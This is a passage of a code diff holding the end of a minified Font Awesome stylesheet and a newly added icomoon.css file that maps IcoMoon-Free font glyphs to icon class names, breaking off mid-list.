\f2a2"}.fa-asl-interpreting:before,.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-deafness:before,.fa-hard-of-hearing:before,.fa-deaf:before{content:"\f2a4"}.fa-glide:before{content:"\f2a5"}.fa-glide-g:before{content:"\f2a6"}.fa-signing:before,.fa-sign-language:before{content:"\f2a7"}.fa-low-vision:before{content:"\f2a8"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-pied-piper:before{content:"\f2ae"}.fa-first-order:before{content:"\f2b0"}.fa-yoast:before{content:"\f2b1"}.fa-themeisle:before{content:"\f2b2"}.fa-google-plus-circle:before,.fa-google-plus-official:before{content:"\f2b3"}.fa-fa:before,.fa-font-awesome:before{content:"\f2b4"}.fa-handshake-o:before{content:"\f2b5"}.fa-envelope-open:before{content:"\f2b6"}.fa-envelope-open-o:before{content:"\f2b7"}.fa-linode:before{content:"\f2b8"}.fa-address-book:before{content:"\f2b9"}.fa-address-book-o:before{content:"\f2ba"}.fa-vcard:before,.fa-address-card:before{content:"\f2bb"}.fa-vcard-o:before,.fa-address-card-o:before{content:"\f2bc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-circle-o:before{content:"\f2be"}.fa-user-o:before{content:"\f2c0"}.fa-id-badge:before{content:"\f2c1"}.fa-drivers-license:before,.fa-id-card:before{content:"\f2c2"}.fa-drivers-license-o:before,.fa-id-card-o:before{content:"\f2c3"}.fa-quora:before{content:"\f2c4"}.fa-free-code-camp:before{content:"\f2c5"}.fa-telegram:before{content:"\f2c6"}.fa-thermometer-4:before,.fa-thermometer:before,.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-3:before,.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-thermometer-2:before,.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-1:before,.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-0:before,.fa-thermometer-empty:before{content:"\f2cb"}.fa-shower:before{content:"\f2cc"}.fa-bathtub:before,.fa-s15:before,.fa-bath:before{content:"\f2cd"}.fa-podcast:before{content:"\f2ce"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-times-rectangle:before,.fa-window-close:before{content:"\f2d3"}.fa-times-rectangle-o:before,.fa-window-close-o:before{content:"\f2d4"}.fa-bandcamp:before{content:"\f2d5"}.fa-grav:before{content:"\f2d6"}.fa-etsy:before{content:"\f2d7"}.fa-imdb:before{content:"\f2d8"}.fa-ravelry:before{content:"\f2d9"}.fa-eercast:before{content:"\f2da"}.fa-microchip:before{content:"\f2db"}.fa-snowflake-o:before{content:"\f2dc"}.fa-superpowers:before{content:"\f2dd"}.fa-wpexplorer:before{content:"\f2de"}.fa-meetup:before{content:"\f2e0"}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}
diff --git a/public/css/icomoon.css b/public/css/icomoon.css
new file mode 100644
index 0000000..ccbb7f4
--- /dev/null
+++ b/public/css/icomoon.css
@@ -0,0 +1,1793 @@
+body {
+	background: #fff;
+}
+@font-face {
+    font-family: 'IcoMoon-Free';
+    src: url('../fonts/IcoMoon-Free.ttf') format('truetype');
+    font-weight: normal;
+    font-style: normal;
+}
+
+.icon {
+    /* use !important to prevent issues with browser extensions that change fonts */
+    font-family: 'IcoMoon-Free' !important;
+    speak: none;
+    font-style: normal;
+    font-weight: normal;
+    font-variant: normal;
+    text-transform: none;
+    line-height: 1;
+    
+    /* Enable Ligatures ================ */
+    letter-spacing: 0;
+    -webkit-font-feature-settings: "liga";
+    -moz-font-feature-settings: "liga=1";
+    -moz-font-feature-settings: "liga";
+    -ms-font-feature-settings: "liga" 1;
+    -o-font-feature-settings: "liga";
+    font-feature-settings: "liga";
+
+    /* Better Font Rendering =========== */
+    -webkit-font-smoothing: antialiased;
+    -moz-osx-font-smoothing: grayscale;
+}
+
+.icon-home:before {
+    content: "\e900";
+}
+.icon-home2:before {
+    content: "\e901";
+}
+.icon-home3:before {
+    content: "\e902";
+}
+.icon-office:before {
+    content: "\e903";
+}
+.icon-newspaper:before {
+    content: "\e904";
+}
+.icon-pencil:before {
+    content: "\e905";
+}
+.icon-pencil2:before {
+    content: "\e906";
+}
+.icon-quill:before {
+    content: "\e907";
+}
+.icon-pen:before {
+    content: "\e908";
+}
+.icon-blog:before {
+    content: "\e909";
+}
+.icon-eyedropper:before {
+    content: "\e90a";
+}
+.icon-droplet:before {
+    content: "\e90b";
+}
+.icon-paint-format:before {
+    content: "\e90c";
+}
+.icon-image:before {
+    content: "\e90d";
+}
+.icon-images:before {
+    content: "\e90e";
+}
+.icon-camera:before {
+    content: "\e90f";
+}
+.icon-headphones:before {
+    content: "\e910";
+}
+.icon-music:before {
+    content: "\e911";
+}
+.icon-play:before {
+    content: "\e912";
+}
+.icon-film:before {
+    content: "\e913";
+}
+.icon-video-camera:before {
+    content: "\e914";
+}
+.icon-dice:before {
+    content: "\e915";
+}
+.icon-pacman:before {
+    content: "\e916";
+}
+.icon-spades:before {
+    content: "\e917";
+}
+.icon-clubs:before {
+    content: "\e918";
+}
+.icon-diamonds:before {
+    content: "\e919";
+}
+.icon-bullhorn:before {
+    content: "\e91a";
+}
+.icon-connection:before {
+    content: "\e91b";
+}
+.icon-podcast:before {
+    content: "\e91c";
+}
+.icon-feed:before {
+    content: "\e91d";
+}
+.icon-mic:before {
+    content: "\e91e";
+}
+.icon-book:before {
+    content: "\e91f";
+}
+.icon-books:before {
+    content: "\e920";
+}
+.icon-library:before {
+    content: "\e921";
+}
+.icon-file-text:before {
+    content: "\e922";
+}
+.icon-profile:before {
+    content: "\e923";
+}
+.icon-file-empty:before {
+    content: "\e924";
+}
+.icon-files-empty:before {
+    content: "\e925";
+}
+.icon-file-text2:before {
+    content: "\e926";
+}
+.icon-file-picture:before {
+    content: "\e927";
+}
+.icon-file-music:before {
+    content: "\e928";
+}
+.icon-file-play:before {
+    content: "\e929";
+}
+.icon-file-video:before {
+    content: "\e92a";
+}
+.icon-file-zip:before {
+    content: "\e92b";
+}
+.icon-copy:before {
+    content: "\e92c";
+}
+.icon-paste:before {
+    content: "\e92d";
+}
+.icon-stack:before {
+    content: "\e92e";
+}
+.icon-folder:before {
+    content: "\e92f";
+}
+.icon-folder-open:before {
+    content: "\e930";
+}
+.icon-folder-plus:before {
+    content: "\e931";
+}
+.icon-folder-minus:before {
+    content: "\e932";
+}
+.icon-folder-download:before {
+    content: "\e933";
+}
+.icon-folder-upload:before {
+    content: "\e934";
+}
+.icon-price-tag:before {
+    content: "\e935";
+}
+.icon-price-tags:before {
+    content: "\e936";
+}
+.icon-barcode:before {
+    content: "\e937";
+}
+.icon-qrcode:before {
+    content: "\e938";
+}
+.icon-ticket:before {
+    content: "\e939";
+}
+.icon-cart:before {
+    content: "\e93a";
+}
+.icon-coin-dollar:before {
+    content: "\e93b";
+}
+.icon-coin-euro:before {
+    content: "\e93c";
+}
+.icon-coin-pound:before {
+    content: "\e93d";
+}
+.icon-coin-yen:before {
+    content: "\e93e";
+}
+.icon-credit-card:before {
+    content: "\e93f";
+}
+.icon-calculator:before {
+    content: "\e940";
+}
+.icon-lifebuoy:before {
+    content: "\e941";
+}
+.icon-phone:before {
+    content: "\e942";
+}
+.icon-phone-hang-up:before {
+    content: "\e943";
+}
+.icon-address-book:before {
+    content: "\e944";
+}
+.icon-envelop:before {
+    content: "\e945";
+}
+.icon-pushpin:before {
+    content: "\e946";
+}
+.icon-location:before {
+    content: "\e947";
+}
+.icon-location2:before {
+    content: "\e948";
+}
+.icon-compass:before {
+    content: "\e949";
+}
+.icon-compass2:before {
+    content: "\e94a";
+}
+.icon-map:before {
+    content: "\e94b";
+}
+.icon-map2:before {
+    content: "\e94c";
+}
+.icon-history:before {
+    content: "\e94d";
+}
+.icon-clock:before {
+    content: "\e94e";
+}
+.icon-clock2:before {
+    content: "\e94f";
+}
+.icon-alarm:before {
+    content: "\e950";
+}
+.icon-bell:before {
+    content: "\e951";
+}
+.icon-stopwatch:before {
+    content: "\e952";
+}
+.icon-calendar:before {
+    content: "\e953";
+}
+.icon-printer:before {
+    content: "\e954";
+}
+.icon-keyboard:before {
+    content: "\e955";
+}
+.icon-display:before {
+    content: "\e956";
+}
+.icon-laptop:before {
+    content: "\e957";
+}
+.icon-mobile:before {
+    content: "\e958";
+}
+.icon-mobile2:before {
+    content: "\e959";
+}
+.icon-tablet:before {
+    content: "\e95a";
+}
+.icon-tv:before {
+    content: "\e95b";
+}
+.icon-drawer:before {
+    content: "\e95c";
+}
+.icon-drawer2:before {
+    content: "\e95d";
+}
+.icon-box-add:before {
+    content: "\e95e";
+}
+.icon-box-remove:before {
+    content: "\e95f";
+}
+.icon-download:before {
+    content: "\e960";
+}
+.icon-upload:before {
+    content: "\e961";
+}
+.icon-floppy-disk:before {
+    content: "\e962";
+}
+.icon-drive:before {
+    content: "\e963";
+}
+.icon-database:before {
+    content: "\e964";
+}
+.icon-undo:before {
+    content: "\e965";
+}
+.icon-redo:before {
+    content: "\e966";
+}
+.icon-undo2:before {
+    content: "\e967";
+}
+.icon-redo2:before {
+    content: "\e968";
+}
+.icon-forward:before {
+    content: "\e969";
+}
+.icon-reply:before {
+    content: "\e96a";
+}
+.icon-bubble:before {
+    content: "\e96b";
+}
+.icon-bubbles:before {
+    content: "\e96c";
+}
+.icon-bubbles2:before {
+    content: "\e96d";
+}
+.icon-bubble2:before {
+    content: "\e96e";
+}
+.icon-bubbles3:before {
+    content: "\e96f";
+}
+.icon-bubbles4:before {
+    content: "\e970";
+}
+.icon-user:before {
+    content: "\e971";
+}
+.icon-users:before {
+    content: "\e972";
+}
+.icon-user-plus:before {
+    content: "\e973";
+}
+.icon-user-minus:before {
+    content: "\e974";
+}
+.icon-user-check:before {
+    content: "\e975";
+}
+.icon-user-tie:before {
+    content: "\e976";
+}
+.icon-quotes-left:before {
+    content: "\e977";
+}
+.icon-quotes-right:before {
+    content: "\e978";
+}
+.icon-hour-glass:before {
+    content: "\e979";
+}
+.icon-spinner:before {
+    content: "\e97a";
+}
+.icon-spinner2:before {
+    content: "\e97b";
+}
+.icon-spinner3:before {
+    content: "\e97c";
+}
+.icon-spinner4:before {
+    content: "\e97d";
+}
+.icon-spinner5:before {
+    content: "\e97e";
+}
+.icon-spinner6:before {
+    content: "\e97f";
+}
+.icon-spinner7:before {
+    content: "\e980";
+}
+.icon-spinner8:before {
+    content: "\e981";
+}
+.icon-spinner9:before {
+    content: "\e982";
+}
+.icon-spinner10:before {
+    content: "\e983";
+}
+.icon-spinner11:before {
+    content: "\e984";
+}
+.icon-binoculars:before {
+    content: "\e985";
+}
+.icon-search:before {
+    content: "\e986";
+}
+.icon-zoom-in:before {
+    content: "\e987";
+}
+.icon-zoom-out:before {
+    content: "\e988";
+}
+.icon-enlarge:before {
+    content: "\e989";
+}
+.icon-shrink:before {
+    content: "\e98a";
+}
+.icon-enlarge2:before {
+    content: "\e98b";
+}
+.icon-shrink2:before {
+    content: "\e98c";
+}
+.icon-key:before {
+    content: "\e98d";
+}
+.icon-key2:before {
+    content: "\e98e";
+}
+.icon-lock:before {
+    content: "\e98f";
+}
+.icon-unlocked:before {
+    content: "\e990";
+}
+.icon-wrench:before {
+    content: "\e991";
+}
+.icon-equalizer:before {
+    content: "\e992";
+}
+.icon-equalizer2:before {
+    content: "\e993";
+}
+.icon-cog:before {
+    content: "\e994";
+}
+.icon-cogs:before {
+    content: "\e995";
+}
+.icon-hammer:before {
+    content: "\e996";
+}
+.icon-magic-wand:before {
+    content: "\e997";
+}
+.icon-aid-kit:before {
+    content: "\e998";
+}
+.icon-bug:before {
+    content: "\e999";
+}
+.icon-pie-chart:before {
+    content: "\e99a";
+}
+.icon-stats-dots:before {
+    content: "\e99b";
+}
+.icon-stats-bars:before {
+    content: "\e99c";
+}
+.icon-stats-bars2:before {
+    content: "\e99d";
+}
+.icon-trophy:before {
+    content: "\e99e";
+}
+.icon-gift:before {
+    content: "\e99f";
+}
+.icon-glass:before {
+    content: "\e9a0";
+}
+.icon-glass2:before {
+    content: "\e9a1";
+}
+.icon-mug:before {
+    content: "\e9a2";
+}
+.icon-spoon-knife:before {
+    content: "\e9a3";
+}
+.icon-leaf:before {
+    content: "\e9a4";
+}
+.icon-rocket:before {
+    content: "\e9a5";
+}
+.icon-meter:before {
+    content: "\e9a6";
+}
+.icon-meter2:before {
+    content: "\e9a7";
+}
+.icon-hammer2:before {
+    content: "\e9a8";
+}
+.icon-fire:before {
+    content: "\e9a9";
+}
+.icon-lab:before {
+    content: "\e9aa";
+}
+.icon-magnet:before {
+    content: "\e9ab";
+}
+.icon-bin:before {
+    content: "\e9ac";
+}
+.icon-bin2:before {
+    content: "\e9ad";
+}
+.icon-briefcase:before {
+    content: "\e9ae";
+}
+.icon-airplane:before {
+    content: "\e9af";
+}
+.icon-truck:before {
+    content: "\e9b0";
+}
+.icon-road:before {
+    content: "\e9b1";
+}
+.icon-accessibility:before {
+    content: "\e9b2";
+}
+.icon-target:before {
+    content: "\e9b3";
+}
+.icon-shield:before {
+    content: "\e9b4";
+}
+.icon-power:before {
+    content: "\e9b5";
+}
+.icon-switch:before {
+    content: "\e9b6";
+}
+.icon-power-cord:before {
+    content: "\e9b7";
+}
+.icon-clipboard:before {
+    content: "\e9b8";
+}
+.icon-list-numbered:before {
+    content: "\e9b9";
+}
+.icon-list:before {
+    content: "\e9ba";
+}
+.icon-list2:before {
+    content: "\e9bb";
+}
+.icon-tree:before {
+    content: "\e9bc";
+}
+.icon-menu:before {
+    content: "\e9bd";
+}
+.icon-menu2:before {
+    content: "\e9be";
+}
+.icon-menu3:before {
+    content: "\e9bf";
+}
+.icon-menu4:before {
+    content: "\e9c0";
+}
+.icon-cloud:before {
+    content: "\e9c1";
+}
+.icon-cloud-download:before {
+    content: "\e9c2";
+}
+.icon-cloud-upload:before {
+    content: "\e9c3";
+}
+.icon-cloud-check:before {
+    content: "\e9c4";
+}
+.icon-download2:before {
+    content: "\e9c5";
+}
+.icon-upload2:before {
+    content: "\e9c6";
+}
+.icon-download3:before {
+    content: "\e9c7";
+}
+.icon-upload3:before {
+    content: "\e9c8";
+}
+.icon-sphere:before {
+    content: "\e9c9";
+}
+.icon-earth:before {
+    content: "\e9ca";
+}
+.icon-link:before {
+    content: "\e9cb";
+}
+.icon-flag:before {
+    content: "\e9cc";
+}
+.icon-attachment:before {
+    content: "\e9cd";
+}
+.icon-eye:before {
+    content: "\e9ce";
+}
+.icon-eye-plus:before {
+    content: "\e9cf";
+}
+.icon-eye-minus:before {
+    content: "\e9d0";
+}
+.icon-eye-blocked:before {
+    content: "\e9d1";
+}
+.icon-bookmark:before {
+    content: "\e9d2";
+}
+.icon-bookmarks:before {
+    content: "\e9d3";
+}
+.icon-sun:before {
+    content: "\e9d4";
+}
+.icon-contrast:before {
+    content: "\e9d5";
+}
+.icon-brightness-contrast:before {
+    content: "\e9d6";
+}
+.icon-star-empty:before {
+    content: "\e9d7";
+}
+.icon-star-half:before {
+    content: "\e9d8";
+}
+.icon-star-full:before {
+    content: "\e9d9";
+}
+.icon-heart:before {
+    content: "\e9da";
+}
+.icon-heart-broken:before {
+    content: "\e9db";
+}
+.icon-man:before {
+    content: "\e9dc";
+}
+.icon-woman:before {
+    content: "\e9dd";
+}
+.icon-man-woman:before {
+    content: "\e9de";
+}
+.icon-happy:before {
+    content: "\e9df";
+}
+.icon-happy2:before {
+    content: "\e9e0";
+}
+.icon-smile:before {
+    content: "\e9e1";
+}
+.icon-smile2:before {
+    content: "\e9e2";
+}
+.icon-tongue:before {
+    content: "\e9e3";
+}
+.icon-tongue2:before {
+    content: "\e9e4";
+}
+.icon-sad:before {
+    content: "\e9e5";
+}
+.icon-sad2:before {
+    content: "\e9e6";
+}
+.icon-wink:before {
+    content: "\e9e7";
+}
+.icon-wink2:before {
+    content: "\e9e8";
+}
+.icon-grin:before {
+    content: "\e9e9";
+}
+.icon-grin2:before {
+    content: "\e9ea";
+}
+.icon-cool:before {
+    content: "\e9eb";
+}
+.icon-cool2:before {
+    content: "\e9ec";
+}
+.icon-angry:before {
+    content: "\e9ed";
+}
+.icon-angry2:before {
+    content: "\e9ee";
+}
+.icon-evil:before {
+    content: "\e9ef";
+}
+.icon-evil2:before {
+    content: "\e9f0";
+}
+.icon-shocked:before {
+    content: "\e9f1";
+}
+.icon-shocked2:before {
+    content: "\e9f2";
+}
+.icon-baffled:before {
+    content: "\e9f3";
+}
+.icon-baffled2:before {
+    content: "\e9f4";
+}
+.icon-confused:before {
+    content: "\e9f5";
+}
+.icon-confused2:before {
+    content: "\e9f6";
+}
+.icon-neutral:before {
+    content: "\e9f7";
+}
+.icon-neutral2:before {
+    content: "\e9f8";
+}
+.icon-hipster:before {
+    content: "\e9f9";
+}
+.icon-hipster2:before {
+    content: "\e9fa";
+}
+.icon-wondering:before {
+    content: "\e9fb";
+}
+.icon-wondering2:before {
+    content: "\e9fc";
+}
+.icon-sleepy:before {
+    content: "\e9fd";
+}
+.icon-sleepy2:before {
+    content: "\e9fe";
+}
+.icon-frustrated:before {
+    content: "\e9ff";
+}
+.icon-frustrated2:before {
+    content: "\ea00";
+}
+.icon-crying:before {
+    content: "\ea01";
+}
+.icon-crying2:before {
+    content: "\ea02";
+}
+.icon-point-up:before {
+    content: "\ea03";
+}
+.icon-point-right:before {
+    content: "\ea04";
+}
+.icon-point-down:before {
+    content: "\ea05";
+}
+.icon-point-left:before {
+    content: "\ea06";
+}
+.icon-warning:before {
+    content: "\ea07";
+}
+.icon-notification:before {
+    content: "\ea08";
+}
+.icon-question:before {
+    content: "\ea09";
+}
+.icon-plus:before {
+    content: "\ea0a";
+}
+.icon-minus:before {
+    content: "\ea0b";
+}
+.icon-info:before {
+    content: "\ea0c";
+}
+.icon-cancel-circle:before {
+    content: "\ea0d";
+}
+.icon-blocked:before {
+    content: "\ea0e";
+}
+.icon-cross:before {
+    content: "\ea0f";
+}
+.icon-checkmark:before {
+    content: "\ea10";
+}
+.icon-checkmark2:before {
+    content: "\ea11";
+}
+.icon-spell-check:before {
+    content: "\ea12";
+}
+.icon-enter:before {
+    content: "\ea13";
+}
+.icon-exit:before {
+    content: "\ea14";
+}
+.icon-play2:before {
+    content: "\ea15";
+}
+.icon-pause:before {
+    content: "\ea16";
+}
+.icon-stop:before {
+    content: "\ea17";
+}
+.icon-previous:before {
+    content: "\ea18";
+}
+.icon-next:before {
+    content: "\ea19";
+}
+.icon-backward:before {
+    content: "\ea1a";
+}
+.icon-forward2:before {
+    content: "\ea1b";
+}
+.icon-play3:before {
+    content: "\ea1c";
+}
+.icon-pause2:before {
+    content: "\ea1d";
+}
+.icon-stop2:before {
+    content: "\ea1e";
+}
+.icon-backward2:before {
+    content: "\ea1f";
+}
+.icon-forward3:before {
+    content: "\ea20";
+}
+.icon-first:before {
+    content: "\ea21";
+}
+.icon-last:before {
+    content: "\ea22";
+}
+.icon-previous2:before {
+    content: "\ea23";
+}
+.icon-next2:before {
+    content: "\ea24";
+}
+.icon-eject:before {
+    content: "\ea25";
+}
+.icon-volume-high:before {
+    content: "\ea26";
+}
+.icon-volume-medium:before {
+    content: "\ea27";
+}
+.icon-volume-low:before {
+    content: "\ea28";
+}
+.icon-volume-mute:before {
+    content: "\ea29";
+}
+.icon-volume-mute2:before {
+    content: "\ea2a";
+}
+.icon-volume-increase:before {
+    content: "\ea2b";
+}
+.icon-volume-decrease:before {
+    content: "\ea2c";
+}
+.icon-loop:before {
+    content: "\ea2d";
+}
+.icon-loop2:before {
+    content: "\ea2e";
+}
+.icon-infinite:before {
+    content: "\ea2f";
+}
+.icon-shuffle:before {
+    content: "\ea30";
+}
+.icon-arrow-up-left:before {
+    content: "\ea31";
+}
+.icon-arrow-up:before {
+    content: "\ea32";
+}
+.icon-arrow-up-right:before {
+    content: "\ea33";
+}
+.icon-arrow-right:before {
+    content: "\ea34";
+}
+.icon-arrow-down-right:before {
+    content: "\ea35";
+}
+.icon-arrow-down:before {
+    content: "\ea36";
+}
+.icon-arrow-down-left:before {
+    content: "\ea37";
+}
+.icon-arrow-left:before {
+    content: "\ea38";
+}
+.icon-arrow-up-left2:before {
+    content: "\ea39";
+}
+.icon-arrow-up2:before {
+    content: "\ea3a";
+}
+.icon-arrow-up-right2:before {
+    content: "\ea3b";
+}
+.icon-arrow-right2:before {
+    content: "\ea3c";
+}
+.icon-arrow-down-right2:before {
+    content: "\ea3d";
+}
+.icon-arrow-down2:before {
+    content: "\ea3e";
+}
+.icon-arrow-down-left2:before {
+    content: "\ea3f";
+}
+.icon-arrow-left2:before {
+    content: "\ea40";
+}
+.icon-circle-up:before {
+    content: "\ea41";
+}
+.icon-circle-right:before {
+    content: "\ea42";
+}
+.icon-circle-down:before {
+    content: "\ea43";
+}
+.icon-circle-left:before {
+    content: "\ea44";
+}
+.icon-tab:before {
+    content: "\ea45";
+}
+.icon-move-up:before {
+    content: "\ea46";
+}
+.icon-move-down:before {
+    content: "\ea47";
+}
+.icon-sort-alpha-asc:before {
+    content: "\ea48";
+}
+.icon-sort-alpha-desc:before {
+    content: "\ea49";
+}
+.icon-sort-numeric-asc:before {
+    content: "\ea4a";
+}
+.icon-sort-numberic-desc:before {
+    content: "\ea4b";
+}
+.icon-sort-amount-asc:before {
+    content: "\ea4c";
+}
+.icon-sort-amount-desc:before {
+    content: "\ea4d";
+}
+.icon-command:before {
+    content: "\ea4e";
+}
+.icon-shift:before {
+    content: "\ea4f";
+}
+.icon-ctrl:before {
+    content: "\ea50";
+}
+.icon-opt:before {
+    content: "\ea51";
+}
+.icon-checkbox-checked:before {
+    content: "\ea52";
+}
+.icon-checkbox-unchecked:before {
+    content: "\ea53";
+}
+.icon-radio-checked:before {
+    content: "\ea54";
+}
+.icon-radio-checked2:before {
+    content: "\ea55";
+}
+.icon-radio-unchecked:before {
+    content: "\ea56";
+}
+.icon-crop:before {
+    content: "\ea57";
+}
+.icon-make-group:before {
+    content: "\ea58";
+}
+.icon-ungroup:before {
+    content: "\ea59";
+}
+.icon-scissors:before {
+    content: "\ea5a";
+}
+.icon-filter:before {
+    content: "\ea5b";
+}
+.icon-font:before {
+    content: "\ea5c";
+}
+.icon-ligature:before {
+    content: "\ea5d";
+}
+.icon-ligature2:before {
+    content: "\ea5e";
+}
+.icon-text-height:before {
+    content: "\ea5f";
+}
+.icon-text-width:before {
+    content: "\ea60";
+}
+.icon-font-size:before {
+    content: "\ea61";
+}
+.icon-bold:before {
+    content: "\ea62";
+}
+.icon-underline:before {
+    content: "\ea63";
+}
+.icon-italic:before {
+    content: "\ea64";
+}
+.icon-strikethrough:before {
+    content: "\ea65";
+}
+.icon-omega:before {
+    content: "\ea66";
+}
+.icon-sigma:before {
+    content: "\ea67";
+}
+.icon-page-break:before {
+    content: "\ea68";
+}
+.icon-superscript:before {
+    content: "\ea69";
+}
+.icon-subscript:before {
+    content: "\ea6a";
+}
+.icon-superscript2:before {
+    content: "\ea6b";
+}
+.icon-subscript2:before {
+    content: "\ea6c";
+}
+.icon-text-color:before {
+    content: "\ea6d";
+}
+.icon-pagebreak:before {
+    content: "\ea6e";
+}
+.icon-clear-formatting:before {
+    content: "\ea6f";
+}
+.icon-table:before {
+    content: "\ea70";
+}
+.icon-table2:before {
+    content: "\ea71";
+}
+.icon-insert-template:before {
+    content: "\ea72";
+}
+.icon-pilcrow:before {
+    content: "\ea73";
+}
+.icon-ltr:before {
+    content: "\ea74";
+}
+.icon-rtl:before {
+    content: "\ea75";
+}
+.icon-section:before {
+    content: "\ea76";
+}
+.icon-paragraph-left:before {
+    content: "\ea77";
+}
+.icon-paragraph-center:before {
+    content: "\ea78";
+}
+.icon-paragraph-right:before {
+    content: "\ea79";
+}
+.icon-paragraph-justify:before {
+    content: "\ea7a";
+}
+.icon-indent-increase:before {
+    content: "\ea7b";
+}
+.icon-indent-decrease:before {
+    content: "\ea7c";
+}
+.icon-share:before {
+    content: "\ea7d";
+}
+.icon-new-tab:before {
+    content: "\ea7e";
+}
+.icon-embed:before {
+    content: "\ea7f";
+}
+.icon-embed2:before {
+    content: "\ea80";
+}
+.icon-terminal:before {
+    content: "\ea81";
+}
+.icon-share2:before {
+    content: "\ea82";
+}
+.icon-mail:before {
+    content: "\ea83";
+}
+.icon-mail2:before {
+    content: "\ea84";
+}
+.icon-mail3:before {
+    content: "\ea85";
+}
+.icon-mail4:before {
+    content: "\ea86";
+}
+.icon-amazon:before {
+    content: "\ea87";
+}
+.icon-google:before {
+    content: "\ea88";
+}
+.icon-google2:before {
+    content: "\ea89";
+}
+.icon-google3:before {
+    content: "\ea8a";
+}
+.icon-google-plus:before {
+    content: "\ea8b";
+}
+.icon-google-plus2:before {
+    content: "\ea8c";
+}
+.icon-google-plus3:before {
+    content: "\ea8d";
+}
+.icon-hangouts:before {
+    content: "\ea8e";
+}
+.icon-google-drive:before {
+    content: "\ea8f";
+}
+.icon-facebook:before {
+    content: "\ea90";
+}
+.icon-facebook2:before {
+    content: "\ea91";
+}
+.icon-instagram:before {
+    content: "\ea92";
+}
+.icon-whatsapp:before {
+    content: "\ea93";
+}
+.icon-spotify:before {
+    content: "\ea94";
+}
+.icon-telegram:before {
+    content: "\ea95";
+}
+.icon-twitter:before {
+    content: "\ea96";
+}
+.icon-vine:before {
+    content: "\ea97";
+}
+.icon-vk:before {
+    content: "\ea98";
+}
+.icon-renren:before {
+    content: "\ea99";
+}
+.icon-sina-weibo:before {
+    content: "\ea9a";
+}
+.icon-rss:before {
+    content: "\ea9b";
+}
+.icon-rss2:before {
+    content: "\ea9c";
+}
+.icon-youtube:before {
+    content: "\ea9d";
+}
+.icon-youtube2:before {
+    content: "\ea9e";
+}
+.icon-twitch:before {
+    content: "\ea9f";
+}
+.icon-vimeo:before {
+    content: "\eaa0";
+}
+.icon-vimeo2:before {
+    content: "\eaa1";
+}
+.icon-lanyrd:before {
+    content: "\eaa2";
+}
+.icon-flickr:before {
+    content: "\eaa3";
+}
+.icon-flickr2:before {
+    content: "\eaa4";
+}
+.icon-flickr3:before {
+    content: "\eaa5";
+}
+.icon-flickr4:before {
+    content: "\eaa6";
+}
+.icon-dribbble:before {
+    content: "\eaa7";
+}
+.icon-behance:before {
+    content: "\eaa8";
+}
+.icon-behance2:before {
+    content: "\eaa9";
+}
+.icon-deviantart:before {
+    content: "\eaaa";
+}
+.icon-500px:before {
+    content: "\eaab";
+}
+.icon-steam:before {
+    content: "\eaac";
+}
+.icon-steam2:before {
+    content: "\eaad";
+}
+.icon-dropbox:before {
+    content: "\eaae";
+}
+.icon-onedrive:before {
+    content: "\eaaf";
+}
+.icon-github:before {
+    content: "\eab0";
+}
+.icon-npm:before {
+    content: "\eab1";
+}
+.icon-basecamp:before {
+    content: "\eab2";
+}
+.icon-trello:before {
+    content: "\eab3";
+}
+.icon-wordpress:before {
+    content: "\eab4";
+}
+.icon-joomla:before {
+    content: "\eab5";
+}
+.icon-ello:before {
+    content: "\eab6";
+}
+.icon-blogger:before {
+    content: "\eab7";
+}
+.icon-blogger2:before {
+    content: "\eab8";
+}
+.icon-tumblr:before {
+    content: "\eab9";
+}
+.icon-tumblr2:before {
+    content: "\eaba";
+}
+.icon-yahoo:before {
+    content: "\eabb";
+}
+.icon-yahoo2:before {
+    content: "\eabc";
+}
+.icon-tux:before {
+    content: "\eabd";
+}
+.icon-appleinc:before {
+    content: "\eabe";
+}
+.icon-finder:before {
+    content: "\eabf";
+}
+.icon-android:before {
+    content: "\eac0";
+}
+.icon-windows:before {
+    content: "\eac1";
+}
+.icon-windows8:before {
+    content: "\eac2";
+}
+.icon-soundcloud:before {
+    content: "\eac3";
+}
+.icon-soundcloud2:before {
+    content: "\eac4";
+}
+.icon-skype:before {
+    content: "\eac5";
+}
+.icon-reddit:before {
+    content: "\eac6";
+}
+.icon-hackernews:before {
+    content: "\eac7";
+}
+.icon-wikipedia:before {
+    content: "\eac8";
+}
+.icon-linkedin:before {
+    content: "\eac9";
+}
+.icon-linkedin2:before {
+    content: "\eaca";
+}
+.icon-lastfm:before {
+    content: "\eacb";
+}
+.icon-lastfm2:before {
+    content: "\eacc";
+}
+.icon-delicious:before {
+    content: "\eacd";
+}
+.icon-stumbleupon:before {
+    content: "\eace";
+}
+.icon-stumbleupon2:before {
+    content: "\eacf";
+}
+.icon-stackoverflow:before {
+    content: "\ead0";
+}
+.icon-pinterest:before {
+    content: "\ead1";
+}
+.icon-pinterest2:before {
+    content: "\ead2";
+}
+.icon-xing:before {
+    content: "\ead3";
+}
+.icon-xing2:before {
+    content: "\ead4";
+}
+.icon-flattr:before {
+    content: "\ead5";
+}
+.icon-foursquare:before {
+    content: "\ead6";
+}
+.icon-yelp:before {
+    content: "\ead7";
+}
+.icon-paypal:before {
+    content: "\ead8";
+}
+.icon-chrome:before {
+    content: "\ead9";
+}
+.icon-firefox:before {
+    content: "\eada";
+}
+.icon-IE:before {
+    content: "\eadb";
+}
+.icon-edge:before {
+    content: "\eadc";
+}
+.icon-safari:before {
+    content: "\eadd";
+}
+.icon-opera:before {
+    content: "\eade";
+}
+.icon-file-pdf:before {
+    content: "\eadf";
+}
+.icon-file-openoffice:before {
+    content: "\eae0";
+}
+.icon-file-word:before {
+    content: "\eae1";
+}
+.icon-file-excel:before {
+    content: "\eae2";
+}
+.icon-libreoffice:before {
+    content: "\eae3";
+}
+.icon-html-five:before {
+    content: "\eae4";
